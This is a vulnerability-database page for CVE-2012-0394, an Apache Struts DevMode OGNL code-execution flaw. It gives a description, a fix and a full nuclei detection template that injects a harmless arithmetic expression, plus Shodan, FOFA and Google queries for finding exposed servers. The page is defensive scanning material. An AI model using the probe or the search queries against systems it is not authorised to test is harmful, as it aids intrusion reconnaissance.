HexBrain

Browse / CVEs / CVE-2012-0394

CVE-2012-0394· apache / struts· CWE-94

Apache Struts <2.3.1.1 - Remote Code Execution

mediumseverity
6.8CVSS score
72.9%likelihood of exploitation, next 30 days
99%of all CVEs are less likely
Readycheck to confirm it

Apache Struts before 2.3.1.1 is susceptible to remote code execution. When developer mode is used in the DebuggingInterceptor component, a remote attacker can execute arbitrary OGNL commands via unspecified vectors, which can allow for execution of malware, obtaining sensitive information, modifying data, and/or gaining full control over a compromised system without entering necessary credentials.. NOTE: the vendor characterizes this behavior as not "a security vulnerability itself."

Impact

Successful exploitation of this vulnerability allows remote attackers to execute arbitrary code on the affected server.

Fix

Upgrade Apache Struts to a version higher than 2.3.1.1 or apply the necessary patches.

How to confirm it

Send: GET {{BaseURL}}/portal/displayAPSForm.action?debug=command&expression={{first}}*{{second}}
Positive when: contains "{{result}}" AND status 200

Run it with nuclei: nuclei -id CVE-2012-0394 -u <target>

The full check
id: CVE-2012-0394

info:
  name: Apache Struts <2.3.1.1 - Remote Code Execution
  author: tess
  severity: medium
  description: |
    Apache Struts before 2.3.1.1 is susceptible to remote code execution. When developer mode is used in the DebuggingInterceptor component, a remote attacker can execute arbitrary OGNL commands via unspecified vectors, which can allow for execution of malware, obtaining sensitive information, modifying data, and/or gaining full control over a compromised system without entering necessary credentials.. NOTE: the vendor characterizes this behavior as not "a security vulnerability itself."
  impact: |
    Successful exploitation of this vulnerability allows remote attackers to execute arbitrary code on the affected server.
  remediation: |
    Upgrade Apache Struts to a version higher than 2.3.1.1 or apply the necessary patches.
  reference:
    - https://www.pwntester.com/blog/2014/01/21/struts-2-devmode-an-ognl-backdoor/
    - https://www.exploit-db.com/exploits/31434
    - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2012-0394
    - http://www.exploit-db.com/exploits/18329
    - https://nvd.nist.gov/vuln/detail/CVE-2012-0394
  classification:
    cvss-metrics: CVSS:2.0/AV:N/AC:M/Au:N/C:P/I:P/A:P
    cvss-score: 6.8
    cve-id: CVE-2012-0394
    cwe-id: CWE-94
    epss-score: 0.729
    epss-percentile: 0.99455
    cpe: cpe:2.3:a:apache:struts:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: apache
    product: struts
    shodan-query:
      - html:"Struts Problem Report"
      - http.title:"struts2 showcase"
      - http.html:"struts problem report"
      - http.html:"apache struts"
    fofa-query:
      - body="struts problem report"
      - title="struts2 showcase"
      - body="apache struts"
    google-query: intitle:"struts2 showcase"
  tags: cve,cve2012,ognl,injection,edb,apache,struts,vuln
variables:
  first: "{{rand_int(1000, 9999)}}"
  second: "{{rand_int(1000, 9999)}}"
  result: "{{to_number(first)*to_number(second)}}"

http:
  - method: GET
    path:
      - '{{BaseURL}}/portal/displayAPSForm.action?debug=command&expression={{first}}*{{second}}'

    matchers-condition: and
    matchers:
      - type: word
        words:
          - '{{result}}'

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from